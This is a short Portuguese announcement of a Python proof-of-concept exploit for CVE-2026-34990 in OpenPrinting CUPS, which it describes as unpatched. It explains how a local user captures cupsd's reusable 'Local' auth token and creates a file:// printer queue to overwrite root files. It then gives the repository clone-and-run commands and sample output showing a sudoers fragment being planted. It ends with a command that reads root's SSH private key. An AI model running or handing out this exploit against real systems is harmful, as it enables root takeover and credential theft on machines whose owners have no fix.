
Prova de conceito em Python para CVE-2026-34990 no OpenPrinting CUPS, forçando o cupsd a vazar um token de autenticação Local e sobrescrever arquivos root através de uma fila de impressora file://.
CVE-2026-34990 - OpenPrinting CUPS versões 2.4.16 e anteriores, um usuário local sem privilégios pode forçar o cupsd a autenticar-se num serviço IPP localhost controlado pelo atacante com um token reutilizável Authorization: Local ... . Esse token é suficiente para conduzir pedidos /admin/ no localhost, e o atacante pode combinar CUPS-Create-Local-Printer com printer-is-shared=true para persistir uma fila file:///... mesmo que a política normal FileDevice rejeite tais URIs. Imprimir para essa fila permite uma sobrescrita arbitrária de ficheiro como root; o PoC abaixo usa essa primitiva para colocar um fragmento de sudoers e demonstrar execução de comandos como root. No momento da publicação, não existem patches disponíveis publicamente.
git clone https://github.com/ungabunga-ctf/CVE-2026-34990
cd CVE-2026-34990
python3 CVE-2026-34990.py
python3 CVE-2026-34990.py
CVE-2026-34990 CUPS PoC
[*] Target file: /etc/sudoers.d/aporter
[*] Starting token capture server...
[+] Captured Local token: 7BD0ECC9D367025E50774E0BB08F7B5E
[*] Creating file:// printer...
[+] Vulnerable!
...
...
depois:
sudo -n cat /root/.ssh/id_rsa